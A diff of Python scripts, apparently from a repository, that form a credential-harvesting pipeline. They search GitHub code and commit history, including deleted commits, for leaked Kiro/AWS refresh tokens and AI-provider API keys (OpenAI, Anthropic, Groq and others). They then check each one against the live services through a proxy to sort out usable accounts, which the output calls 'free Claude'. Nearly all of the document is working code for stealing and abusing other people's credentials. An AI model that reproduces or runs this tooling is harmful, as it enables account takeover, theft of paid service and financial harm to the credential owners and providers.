cid = re.search(r'"clientId"\s*:\s*"([^"]+)"', chunk)
csec = re.search(r'"clientSecret"\s*:\s*"([^"]+)"', chunk)
rt = re.search(r'"refreshToken"\s*:\s*"([^"]+)"', chunk)
if rt:
add(rt.group(1), "idc" if (cid and csec) else "social",
cid.group(1) if cid else None,
csec.group(1) if csec else None)
return [(tok, *meta) for tok, meta in found.items()]
def http_post_json(url, body, headers, timeout=30, opener=None):
h = {"User-Agent": UA, "Accept": "*/*", "Content-Type": "application/json", **headers}
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, headers=h, method="POST")
op = opener or urllib.request.build_opener()
try:
with op.open(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def refresh_social(tok, machine_id):
return http_post_json(REFRESH_URL,
{"refreshToken": tok},
{"User-Agent": f"KiroIDE-1.6.0-{machine_id}"})
def refresh_idc(tok, cid, csec, region="us-east-1"):
url = f"https://oidc.{region}.amazonaws.com/token"
return http_post_json(url, {
"clientId": cid, "clientSecret": csec,
"refreshToken": tok, "grantType": "refresh_token",
}, {"x-amz-user-agent": "aws-sdk-js/3.738.0 m/E KiroIDE"})
def chat_probe(access_token, machine_id):
"""Minimal generateAssistantResponse request; classify by HTTP code."""
conv = str(uuid.uuid4())
cont = str(uuid.uuid4())
body = {
"conversationState": {
"agentContinuationId": cont,
"agentTaskType": "vibe",
"chatTriggerType": "MANUAL",
"conversationId": conv,
"currentMessage": {
"userInputMessage": {
"content": "hi",
"modelId": "claude-haiku-4.5",
"origin": "AI_EDITOR",
}
},
"history": [],
}
}
headers = {
"x-amzn-codewhisperer-optout": "true",
"x-amzn-kiro-agent-mode": "vibe",
"Authorization": f"Bearer {access_token}",
"Host": "q.us-east-1.amazonaws.com",
"amz-sdk-invocation-id": str(uuid.uuid4()),
"amz-sdk-request": "attempt=1; max=1",
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{machine_id}",
}
# chat goes through the proxy too (amazonaws may be flaky from CN)
op = gh_opener()
return http_post_json(CHAT_URL, body, headers, timeout=40, opener=op)
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
def verify_token(row):
"""row = (refresh_token, auth, cid, csec, source)."""
tok, auth, cid, csec, src = row
machine_id = uuid.uuid4().hex
# 1. refresh
if auth in ("idc", "builder-id", "builder_id") and cid and csec:
code, body = refresh_idc(tok, cid, csec)
else:
code, body = refresh_social(tok, machine_id)
access = None
expires = None
if code == 200:
try:
j = json.loads(body)
access = j.get("accessToken") or j.get("access_token")
expires = j.get("expiresIn") or j.get("expires_in")
except Exception:
pass
if access:
# 2. live chat probe (best effort)
ccode, cbody = chat_probe(access, machine_id)
if ccode == 200:
return "USABLE", f"refresh OK ({expires}s); chat 200", access, expires
if ccode in (402, 429):
return "NO_BALANCE", f"refresh OK; chat {ccode} (quota/rate): {cbody[:120]}", access, expires
if ccode == 401:
# access token rejected despite refresh — odd; keep as no_access
return "NO_ACCESS", f"refresh OK; chat 401: {cbody[:120]}", access, expires
if ccode == 0:
return "NO_ACCESS", f"refresh OK; chat net: {cbody[:120]}", access, expires
return "NO_ACCESS", f"refresh OK; chat HTTP {ccode}: {cbody[:120]}", access, expires
else:
return "NO_ACCESS", f"refresh 200 but no access_token: {body[:140]}", None, None
if code == 401:
return "DEAD", f"refresh 401: {body[:120]}", None, None
if code in (400, 403):
# 400 = malformed/revoked shape; 403 = disabled. Keep if not explicit 401.
return "NO_ACCESS", f"refresh {code}: {body[:140]}", None, None
if code in (402, 429):
return "NO_BALANCE", f"refresh {code}: {body[:140]}", None, None
if code == 0:
return "UNKNOWN", body[:160], None, None
return "NO_ACCESS", f"refresh HTTP {code}: {body[:140]}", None, None
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--verify-only", action="store_true")
ap.add_argument("--workers", type=int, default=15)
ap.add_argument("--limit", type=int, default=0)
args = ap.parse_args()
tokens = {} # refresh_token -> (auth, cid, csec, source)
if args.verify_only and EXTRACTED_FILE.exists():
for line in EXTRACTED_FILE.read_text().splitlines():
parts = line.split("|")
if len(parts) >= 5:
tok, auth, cid, csec, src = parts[0], parts[1], parts[2], parts[3], parts[4]
tokens[tok] = (auth, cid or None, csec or None, src)
print(f"--verify-only: {len(tokens)} tokens")
else:
token = github_token()
print(f"GH proxy: {GH_PROXY or 'none'}; token: {'yes' if token else 'NO'}")
print("\n=== Stage 1: GitHub search ===")
candidates = {}
for i, q in enumerate(SEARCH_QUERIES, 1):
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}", flush=True)
try:
for it in gh_api_search(q, token):
u = it.get("html_url", "")
if u and u not in candidates:
candidates[u] = it.get("repository", {}).get("full_name", "?")
except Exception as e:
print(f" error: {e}", file=sys.stderr)
print(f" candidate files: {len(candidates)}")
print("\n=== Stage 2: fetch raw & extract refresh tokens ===")
fetched = 0
with ThreadPoolExecutor(max_workers=20) as pool:
futs = {pool.submit(fetch_raw, to_raw_url(u)): u for u in candidates}
for fut in as_completed(futs):
u = futs[fut]
fetched += 1
try:
content = fut.result()
except Exception:
content = ""
for tok, auth, cid, csec in extract_tokens(content):
if tok not in tokens:
tokens[tok] = (auth, cid, csec, u)
if fetched % 100 == 0:
print(f" fetched {fetched}/{len(candidates)}, tokens={len(tokens)}", flush=True)
print(f" unique refresh tokens: {len(tokens)}")
with open(EXTRACTED_FILE, "w") as f:
for tok, (auth, cid, csec, src) in sorted(tokens.items()):
f.write(f"{tok}|{auth}|{cid or ''}|{csec or ''}|{src}\n")
rows = [(tok, *meta) for tok, meta in tokens.items()]
if args.limit > 0:
rows = rows[:args.limit]
print(f"\n=== Stage 3: verify {len(rows)} tokens (workers={args.workers}) ===")
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
start = time.time()
done = 0
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs = {pool.submit(verify_token, r): r for r in rows}
for fut in as_completed(futs):
r = futs[fut]
tok, auth, cid, csec, src = r
done += 1
try:
v, detail, access, expires = fut.result()
except Exception as e:
v, detail, access, expires = "UNKNOWN", f"exc:{e}", None, None
buckets[v].append((tok, src, auth, access, expires, detail))
if done % 20 == 0:
el = time.time() - start
print(f" [{done:4d}/{len(rows)}] " +
" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets) +
f" ({done/el:.1f}/s)", flush=True)
for name, items in buckets.items():
path = RESULTS_DIR / f"{name.lower()}.txt"
with open(path, "w") as f:
for tok, src, auth, access, expires, detail in items:
f.write(f"{tok}|{src}|auth={auth}|access={access or ''}|expires={expires or ''}|{detail}\n")
print(f" {name:11s}: {len(items):4d} -> {path.name}")
with open(RESULTS_DIR / "all_non_401.txt", "w") as f:
for name in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
for tok, src, auth, access, expires, detail in buckets[name]:
f.write(f"{name}|{tok}|{src}|auth={auth}|access={access or ''}|{detail}\n")
if buckets["USABLE"]:
print("\n=== USABLE KIRO TOKENS (free Claude Sonnet/Haiku 4.5!) ===")
for tok, src, auth, access, expires, detail in buckets["USABLE"]:
print(f" refresh: {tok[:40]}...{tok[-8:]}")
print(f" access : {access[:50] if access else '?'}... (expires_in={expires}s)")
print(f" src : {src}")
print(f" {detail}\n")
if __name__ == "__main__":
main()
+427
View File
@@ -0,0 +1,427 @@
#!/usr/bin/env python3
"""Kiro hunter v2 — correct token format + commit-history scan.
Real Kiro tokens are NOT JWTs. They're opaque AWS-blessed strings:
accessToken: aoaAAAAA... (base64, contains '+' '/' and sometimes ':')
refreshToken: aorAAAAA... (~180 chars)
Found in files named kiro-auth-token*.json, ~/.aws/sso/cache/*.json, or in
KIRO_AUTH_TOKEN JSON arrays / KIRO_REFRESH_TOKEN env vars.
Pipeline:
1. GitHub code search for files named kiro-auth-token / .aws/sso/cache kiro, plus
the aoaAAAAA/aorAAAAA token prefixes.
2. Fetch raw content (HEAD) and extract access/refresh tokens.
3. Commit-history scan: for repos that touched kiro-auth-token files, walk
recent commits and grep the patch for aorAAAAA tokens (catches deleted ones).
4. Verify each refresh token via prod.us-east-1.auth.desktop.kiro.dev/refreshToken.
200+accessToken = USABLE (then optional chat probe); 401 = DEAD; else kept.
GitHub and the kiro.dev refresh endpoint are GFW-blocked; all traffic routes via
GH_PROXY (a CN proxy known to reach both).
Outputs results/kiro2/{usable,no_balance,no_access,unknown,dead,all_non_401}.txt
"""
import argparse, base64, json, os, re, subprocess, sys, time, uuid
import urllib.request, urllib.error, urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
RESULTS = HERE / "results" / "kiro2"
RESULTS.mkdir(parents=True, exist_ok=True)
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
UA = "curl/8.5.0"
# Min seconds between refresh-endpoint posts. Too aggressive and CloudFront WAF
# 403-blocks the whole IP for several minutes.
VERIFY_DELAY = float(os.environ.get("KIRO_VERIFY_DELAY", "0.4"))
# Real token prefixes. Allow base64 alphabet including + and /.
ACCESS_RE = re.compile(r"aoaAAAAA[A-Za-z0-9+/=_:\-]{40,}")
REFRESH_RE = re.compile(r"aorAAAAA[A-Za-z0-9+/=_:\-]{40,}")
QUERIES = [
"filename:kiro-auth-token",
"kiro-auth-token.json",
"kiro-auth-token extension:json",
'"aorAAAAA"',
'"aoaAAAAA"',
'"accessToken" "refreshToken" "kiro" extension:json',
'"refreshToken" "aorAAAAA"',
'"clientIdHash" "refreshToken" extension:json',
'"profileArn" "refreshToken" "kiro"',
'"authMethod" "refreshToken" "kiro" extension:json',
'KIRO_REFRESH_TOKEN=aor',
'KIRO_AUTH_TOKEN aorAAAAA',
'"prod.us-east-1.auth.desktop.kiro.dev" "refreshToken"',
"kiro sso cache extension:json",
'"kiro" "aorAAAAA"',
'"codewhisperer" "refreshToken" extension:json',
]
_opener = None
def opener():
global _opener
if _opener is None:
h = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY}) if GH_PROXY else urllib.request.ProxyHandler({})
_opener = urllib.request.build_opener(h)
return _opener
_direct = None
def direct_opener():
"""Opener that bypasses GH_PROXY. The CN proxy returns CloudFront 403 for the
Kiro refresh/chat endpoints, but they are directly reachable from this host."""
global _direct
if _direct is None:
_direct = urllib.request.build_opener(urllib.request.ProxyHandler({}))
return _direct
def github_token():
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if t: return t
try:
o = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
if o.returncode==0: return o.stdout.strip()
except FileNotFoundError: pass
p = Path.home()/".config/gh/hosts.yml"
if p.exists():
for line in p.read_text().splitlines():
if line.strip().startswith("oauth_token:"):
return line.split(":",1)[1].strip()
return None
def gh_get(url, token, timeout=30):
headers = {"Accept":"application/vnd.github+json","User-Agent":"kiro-hunter"}
if token: headers["Authorization"]=f"Bearer {token}"
req = urllib.request.Request(url, headers=headers)
try:
with opener().open(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8","replace"), dict(r.headers)
except urllib.error.HTTPError as e:
try: body=e.read().decode("utf-8","replace")
except Exception: body=""
return e.code, body, dict(e.headers or {})
except Exception as e:
return 0, f"net:{e}", {}
def search_code(query, token, per_page=100):
for page in range(1,11):
url=("https://api.github.com/search/code"
f"?q={urllib.parse.quote(query)}&per_page={per_page}&page={page}")
code,body,hdrs = gh_get(url,token)
if code==200:
try: data=json.loads(body)
except Exception: return
items=data.get("items",[])
for it in items: yield it
if len(items)<per_page: return
time.sleep(2.2)
elif code in (403,429):
reset=hdrs.get("X-RateLimit-Reset")
wait=max(int(reset)-int(time.time()),5) if reset else 30
print(f" rate-limited {wait}s",file=sys.stderr,flush=True)
time.sleep(wait+1)
elif code==422:
return
else:
print(f" search {code} for {query!r}",file=sys.stderr); return
def to_raw(u):
return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
def fetch_raw(url, timeout=20):
try:
with opener().open(urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"}),timeout=timeout) as r:
return r.read().decode("utf-8","replace")
except Exception:
return ""
def clean(t):
# trim trailing base64 padding-separators / json punctuation that regex may over-grab
return t.rstrip('",;:}]= \t\r\n')
def extract(content):
out = {} # refresh -> {access, source_hint}
for m in REFRESH_RE.findall(content):
rt = clean(m)
# Real Kiro refresh tokens are opaque base64 ~180-260 chars. Reject
# binary/garbage runs that merely start with "aorAAAAA" (these produce
# multi-KB blobs and trigger AWS WAF 403 on the refresh endpoint).
if 120 <= len(rt) <= 400:
out.setdefault(rt, {})
for m in ACCESS_RE.findall(content):
at = clean(m)
if 120 <= len(at) <= 2000:
for rt in out:
out[rt].setdefault("access", at)
return out
def list_file_commits(repo, path, token, max_commits=15):
"""List commits that touched a specific file (bounded). Much cheaper than
walking a whole repo's history."""
q=urllib.parse.quote(path, safe="")
url=f"https://api.github.com/repos/{repo}/commits?path={q}&per_page={max_commits}&page=1"
code,body,hdrs=gh_get(url,token,timeout=15)
if code in (403,429):
reset=hdrs.get("X-RateLimit-Reset")
wait=min(max(int(reset)-int(time.time()),5), 60) if reset else 20
time.sleep(wait+1)
code,body,_=gh_get(url,token,timeout=15)
if code!=200: return
try: data=json.loads(body)
except Exception: return
if not isinstance(data,list): return
for c in data:
sha=c.get("sha")
if sha: yield sha
def commit_patch(repo, sha, token):
"""Return the patch text for a commit (the diff)."""
url=f"https://api.github.com/repos/{repo}/commits/{sha}"
headers={"Accept":"application/vnd.github.v3.diff","User-Agent":"kiro-hunter"}
if token: headers["Authorization"]=f"Bearer {token}"
req=urllib.request.Request(url,headers=headers)
try:
with opener().open(req,timeout=20) as r:
return r.read().decode("utf-8","replace")
except Exception:
return ""
def scan_repo_commits(repo, paths, token, max_commits):
"""Scan commits touching specific files in one repo; return {rt: source}."""
found={}
seen=set()
for path in paths:
try:
shas=list(list_file_commits(repo,path,token,max_commits=max_commits))
except Exception:
continue
for sha in shas:
if sha in seen: continue
seen.add(sha)
patch=commit_patch(repo,sha,token)
if "aorAAAAA" not in patch: continue
for rt in extract(patch):
found[rt]=f"{repo}@{sha[:10]} (commit diff)"
return found
def http_post(url, body, headers, timeout=30):
h={"User-Agent":UA,"Accept":"*/*","Content-Type":"application/json",**headers}
data=json.dumps(body).encode()
req=urllib.request.Request(url,data=data,headers=h,method="POST")
op = direct_opener() if "kiro.dev" in url or "amazonaws.com" in url else opener()
try:
with op.open(req,timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8","replace")
except urllib.error.HTTPError as e:
try: return e.code, e.read().decode("utf-8","replace")
except Exception: return e.code, ""
except Exception as e:
return 0, f"net:{type(e).__name__}:{e}"
def verify_rt(rt, do_chat=False):
# CloudFront WAF occasionally returns a 403 HTML "Request blocked" when we
# fire too fast. Retry with backoff so a transient block doesn't permanently
# misclassify a token as NO_ACCESS.
import threading as _t
global _verify_lock, _last_post
try:
_verify_lock
except NameError:
_verify_lock=_t.Lock(); _last_post=0.0
code=body=None
for attempt in range(4):
with _verify_lock:
gap=time.time()-_last_post
if gap<VERIFY_DELAY:
time.sleep(VERIFY_DELAY-gap)
_last_post=time.time()
code,body=http_post(REFRESH_URL,{"refreshToken":rt},
{"User-Agent":f"KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}"})
if code==403 and "<!DOCTYPE" in body:
time.sleep(20*(attempt+1)) # back off from WAF
continue
break
access=expires=None
if code==200:
try:
j=json.loads(body)
access=j.get("accessToken") or j.get("access_token")
expires=j.get("expiresIn") or j.get("expires_in")
except Exception: pass
if access and do_chat:
cc,cb=chat_probe(access)
if cc==200: return "USABLE",f"refresh OK; chat 200; exp={expires}",access
if cc in (402,429): return "NO_BALANCE",f"refresh OK; chat {cc}: {cb[:100]}",access
if cc==0: return "NO_ACCESS",f"refresh OK; chat net: {cb[:100]}",access
return "NO_ACCESS",f"refresh OK; chat HTTP {cc}: {cb[:100]}",access
return "USABLE" if access else "NO_ACCESS", f"refresh 200 no accessToken: {body[:100]}", access
if code==401: return "DEAD", f"401 {body[:80]}", None
if code in (402,429): return "NO_BALANCE", f"{code} {body[:100]}", None
if code==0: return "UNKNOWN", body[:120], None
return "NO_ACCESS", f"HTTP {code}: {body[:100]}", None
def chat_probe(access):
cid=str(uuid.uuid4()); aid=str(uuid.uuid4())
body={"conversationState":{
"agentContinuationId":aid,"agentTaskType":"vibe","chatTriggerType":"MANUAL",
"conversationId":cid,
"currentMessage":{"userInputMessage":{"content":"hi","modelId":"claude-haiku-4.5","origin":"AI_EDITOR"}},
"history":[]}}
headers={"x-amzn-codewhisperer-optout":"true","x-amzn-kiro-agent-mode":"vibe",
"Authorization":f"Bearer {access}","Host":"q.us-east-1.amazonaws.com",
"amz-sdk-invocation-id":str(uuid.uuid4()),"amz-sdk-request":"attempt=1; max=1",
"User-Agent":f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}"}
return http_post(CHAT_URL,body,headers,timeout=40)
def main():
ap=argparse.ArgumentParser()
ap.add_argument("--verify-only",action="store_true")
ap.add_argument("--workers",type=int,default=15)
ap.add_argument("--scan-commits",action="store_true",
help="Walk commit history of touched repos to find deleted tokens")
ap.add_argument("--commit-pages",type=int,default=2)
ap.add_argument("--commit-workers",type=int,default=12,
help="Parallel repos for the commit-history scan")
ap.add_argument("--chat",action="store_true",help="Do a live chat probe on usable tokens")
args=ap.parse_args()
token=github_token()
print(f"proxy={GH_PROXY} token={'yes' if token else 'no'} scan_commits={args.scan_commits}",flush=True)
rts={} # refresh -> source
if args.verify_only:
ef=RESULTS/"refresh_tokens.txt"
if ef.exists():
for line in ef.read_text().splitlines():
if "|" in line:
rt,src=line.split("|",1)
rts[rt]=src
print(f"verify-only: {len(rts)} tokens",flush=True)
else:
print("\n=== Stage 1: code search ===",flush=True)
files={}
for i,q in enumerate(QUERIES,1):
print(f" [{i:2d}/{len(QUERIES)}] {q}",flush=True)
try:
for it in search_code(q,token):
u=it.get("html_url","")
if u: files[u]=it.get("repository",{}).get("full_name","?")
except Exception as e:
print(" err",e,file=sys.stderr)
print(f" candidate files: {len(files)}",flush=True)
# extract from HEAD raw
print("\n=== Stage 2a: HEAD raw extraction ===",flush=True)
done=0
repo_paths={} # repo -> set(paths)
with ThreadPoolExecutor(max_workers=20) as pool:
futs={pool.submit(fetch_raw,to_raw(u)):(u,repo) for u,repo in files.items()}
for f in as_completed(futs):
u,repo=futs[f]; done+=1
# derive file path from html url: https://github.com/{repo}/blob/{branch}/{path}
try:
parts=u.split("/blob/",1)
if len(parts)==2:
path=parts[1].split("/",1)[1] # drop ref
repo_paths.setdefault(repo,set()).add(path)
except Exception:
pass
try: content=f.result()
except Exception: content=""
for rt in extract(content):
rts.setdefault(rt,u)
if done%200==0:
print(f" {done}/{len(files)} tokens={len(rts)}",flush=True)
nfiles=sum(len(v) for v in repo_paths.values())
print(f" after HEAD: {len(rts)} refresh tokens; {len(repo_paths)} repos, {nfiles} tracked files",flush=True)
# durable checkpoint of HEAD tokens before the slow commit scan
with open(RESULTS/"refresh_tokens.txt","w") as f:
for rt,src in sorted(rts.items()):
f.write(f"{rt}|{src}\n")
if args.scan_commits:
print(f"\n=== Stage 2b: per-file commit-history scan (max {args.commit_pages} commits/file, {args.commit_workers} workers) ===",flush=True)
repo_list=sorted(repo_paths)
scanned=0; lock=__import__("threading").Lock()
def _job(repo):
return repo, scan_repo_commits(repo,repo_paths[repo],token,args.commit_pages)
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
futs={pool.submit(_job,repo):repo for repo in repo_list}
for f in as_completed(futs):
repo=futs[f]; scanned+=1
try:
_,found=f.result()
except Exception:
found={}
new=0
if found:
with lock:
before=len(rts)
for rt,src in found.items():
rts.setdefault(rt,src)
new=len(rts)-before
if new:
print(f" [{scanned}/{len(repo_list)}] {repo}: +{new} (total {len(rts)})",flush=True)
if scanned%25==0:
print(f" scanned {scanned}/{len(repo_list)} repos, tokens={len(rts)}",flush=True)
with open(RESULTS/"refresh_tokens.txt","w") as f:
for rt,src in sorted(rts.items()):
f.write(f"{rt}|{src}\n")
with open(RESULTS/"refresh_tokens.txt","w") as f:
for rt,src in sorted(rts.items()):
f.write(f"{rt}|{src}\n")
print(f" saved {len(rts)} tokens -> refresh_tokens.txt",flush=True)
print(f"\n=== Stage 3: verify {len(rts)} refresh tokens (workers={args.workers}) ===",flush=True)
buckets={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
start=time.time(); done=0
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs={pool.submit(verify_rt,rt,args.chat):(rt,src) for rt,src in rts.items()}
for f in as_completed(futs):
rt,src=futs[f]; done+=1
try: v,detail,access=f.result()
except Exception as e: v,detail,access="UNKNOWN",f"exc:{e}",None
buckets[v].append((rt,src,access,detail))
if done%10==0:
el=time.time()-start
print(f" [{done:4d}/{len(rts)}] "+" ".join(f"{k.lower()}={len(buckets[k])}" for k in buckets)+f" ({done/el:.1f}/s)",flush=True)
for name,items in buckets.items():
with open(RESULTS/f"{name.lower()}.txt","w") as f:
for rt,src,access,detail in items:
f.write(f"{rt}|{src}|access={access or ''}|{detail}\n")
print(f" {name:11s}: {len(items):4d}",flush=True)
with open(RESULTS/"all_non_401.txt","w") as f:
for name in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN"):
for rt,src,access,detail in buckets[name]:
f.write(f"{name}|{rt}|{src}|access={access or ''}|{detail}\n")
if buckets["USABLE"]:
print("\n=== USABLE KIRO TOKENS ===",flush=True)
for rt,src,access,detail in buckets["USABLE"]:
print(f" refresh: {rt[:45]}...{rt[-8:]}\n src: {src}\n {detail}\n",flush=True)
if __name__=="__main__":
main()
+291
View File
@@ -0,0 +1,291 @@
#!/usr/bin/env python3
"""Deep-verify the 'medium' providers in one pass.
Providers: Groq, TogetherAI, OpenAI, Anthropic, SiliconFlow,
LingyiWanwu (01), StepFun.
For every key in results/extracted_keys.txt whose provider matches,
we:
1. Validate the key against the provider's documented regex.
2. Send a cheap chat completion (or /models GET) request.
3. Classify by the now-familiar rule: only 401 = DEAD; anything
else (200 / 400 / 402 / 403 / 404 / 429 / 5xx) is kept.
Outputs per provider under results/medium/<Provider>/.
"""
import argparse
import json
import re
import sys
import time
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).parent
sys.path.insert(0, str(HERE))
from verify_cache import CachedVerifier
SOURCE = HERE / "results" / "extracted_keys.txt"
OUT_ROOT = HERE / "results" / "medium"
OUT_ROOT.mkdir(parents=True, exist_ok=True)
UA = "curl/8.5.0"
# ── Provider configs ────────────────────────────────────────────
# Each entry:
# key_re : regex the full key must match (after provider tag)
# fakes : substrings that mark a placeholder
# requests : list of (name, method, path, headers, body) to try in order.
# {key} is substituted; stop early once a better verdict found.
def openai_like(base, model, key_header="Authorization", scheme="Bearer"):
return [
{
"name": f"chat:{model}",
"method": "POST",
"url": f"{base}/v1/chat/completions",
"headers": {key_header: f"{scheme} {{key}}", "Content-Type": "application/json"},
"body": {"model": model, "messages": [{"role": "user", "content": "hi"}], "max_tokens": 1},
},
{
"name": "models",
"method": "GET",
"url": f"{base}/v1/models",
"headers": {key_header: f"{scheme} {{key}}"},
"body": None,
},
]
PROVIDERS = {
"Groq": {
"key_re": re.compile(r"^gsk_[A-Za-z0-9]{48,}$"),
"fakes": ("your-", "example", "xxxx"),
"requests": openai_like("https://api.groq.com", "llama-3.1-8b-instant"),
},
"TogetherAI": {
"key_re": re.compile(r"^[0-9a-f]{64}$"),
"fakes": ("0" * 64,),
"requests": openai_like("https://api.together.xyz", "meta-llama/Llama-3.2-3B-Instruct-Turbo"),
},
"OpenAI": {
# Real OpenAI keys: sk-... (48-ish chars) or sk-proj-... (longer).
# We deliberately exclude keys that look like other providers'
# (sk-ant handled separately, T3BlbkFJ is a classic OpenAI marker).
"key_re": re.compile(r"^sk-(?:proj-[A-Za-z0-9_-]{20,}|[A-Za-z0-9]{48})$"),
"fakes": ("your-", "example", "xxxx", "sk-000000"),
"requests": openai_like("https://api.openai.com", "gpt-4o-mini"),
},
"Anthropic": {
"key_re": re.compile(r"^sk-ant-[A-Za-z0-9_\-]{40,}$"),
"fakes": ("your-", "example", "xxxx"),
"requests": [
{
"name": "messages",
"method": "POST",
"url": "https://api.anthropic.com/v1/messages",
"headers": {
"x-api-key": "{key}",
"anthropic-version": "2023-06-01",
"Content-Type": "application/json",
},
"body": {"model": "claude-3-5-haiku-20241022",
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 1},
},
{
"name": "models",
"method": "GET",
"url": "https://api.anthropic.com/v1/models",
"headers": {"x-api-key": "{key}", "anthropic-version": "2023-06-01"},
"body": None,
},
],
},
"SiliconFlow": {
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
"fakes": ("your-", "example", "xxxx"),
"requests": openai_like("https://api.siliconflow.cn", "Qwen/Qwen2.5-7B-Instruct"),
},
"LingyiWanwu": {
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
"fakes": ("your-", "example", "xxxx"),
"requests": openai_like("https://api.lingyiwanwu.com", "yi-large"),
},
"StepFun": {
"key_re": re.compile(r"^sk-[a-zA-Z0-9]{40,}$"),
"fakes": ("your-", "example", "xxxx"),
"requests": openai_like("https://api.stepfun.com", "step-1-flash"),
},
}
RANK = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
def http_request(method, url, headers, body, timeout=20):
h = {"User-Agent": UA, "Accept": "*/*", **headers}
data = json.dumps(body).encode() if body is not None else None
req = urllib.request.Request(url, data=data, headers=h, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", errors="replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"network: {type(e).__name__}: {e}"
def classify(code, body):
bl = (body or "").lower()
if code == 200:
if '"choices"' in bl or '"data"' in bl or '"id"' in bl:
return "USABLE", "200 OK"
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
return "NO_BALANCE", body[:140]
return "USABLE", body[:140]
if code in (402, 429):
return "NO_BALANCE", f"HTTP {code}: {body[:140]}"
if code == 401:
return "DEAD", "401 unauthorized"
if code == 0:
return "UNKNOWN", body[:160]
# 400 / 403 / 404 / 5xx — key may be valid, model/endpoint issue
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
def verify(provider, key):
cfg = PROVIDERS[provider]
best, best_detail = "DEAD", ""
for req in cfg["requests"]:
headers = {h: v.replace("{key}", key) for h, v in req["headers"].items()}
code, body = http_request(req["method"], req["url"], headers, req["body"])
v, d = classify(code, body)
d = f"[{req['name']}] {d}"
if RANK[v] > RANK[best]:
best, best_detail = v, d
if best == "USABLE":
return best, best_detail
return best, best_detail
def load_keys(provider):
cfg = PROVIDERS[provider]
keys = {}
if not SOURCE.exists():
return keys
with open(SOURCE) as f:
for line in f:
line = line.strip()
if not line.startswith(f"{provider}|"):
continue
parts = line.split("|", 3)
if len(parts) < 3:
continue
key = parts[1]
url = parts[2] if len(parts) > 2 else ""
low = key.lower()
if any(x in low for x in cfg["fakes"]):
continue
if not cfg["key_re"].match(key):
continue
if key not in keys:
keys[key] = url
return keys
def run_provider(provider, workers, limit, force_cache=False):
keys = load_keys(provider)
out_dir = OUT_ROOT / provider
out_dir.mkdir(parents=True, exist_ok=True)
print(f"\n=== {provider}: {len(keys)} unique keys matching regex ===")
if limit:
keys = dict(list(keys.items())[:limit])
print(f" (limited to first {limit})")
if not keys:
return
buckets = {k: [] for k in RANK}
start = time.time()
processed = 0
with CachedVerifier(f"medium_{provider.lower()}",
lambda k, _p=provider: verify(_p, k),
force=force_cache) as ver:
with ThreadPoolExecutor(max_workers=workers) as pool:
futs = {pool.submit(ver, k): (k, s) for k, s in keys.items()}
for fut in as_completed(futs):
k, s = futs[fut]
processed += 1
try:
verdict, detail = fut.result()
except Exception as e:
verdict, detail = "UNKNOWN", str(e)
buckets[verdict].append((k, s, detail))
if processed % 50 == 0:
el = time.time() - start
print(f" [{processed}/{len(keys)}] "
f"usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} "
f"noacc={len(buckets['NO_ACCESS'])} "
f"unk={len(buckets['UNKNOWN'])} "
f"dead={len(buckets['DEAD'])} "
f"hit={ver.hits} live={ver.live} "
f"({processed/el:.1f}/s)")
print(f" cache: {ver.hits} hits, {ver.live} live, {len(ver._cache)} cached")
el = time.time() - start
print(f" done in {el:.1f}s")
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
print(f" {n:11s}: {len(buckets[n])}")
name_map = {
"USABLE": "usable.txt",
"NO_BALANCE": "no_balance.txt",
"NO_ACCESS": "no_access.txt",
"UNKNOWN": "unknown.txt",
"DEAD": "dead.txt",
}
for n, fn in name_map.items():
with open(out_dir / fn, "w") as f:
for k, s, d in sorted(buckets[n]):
f.write(f"{k}|{s}|{d}\n")
with open(out_dir / "all_non_401.txt", "w") as f:
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
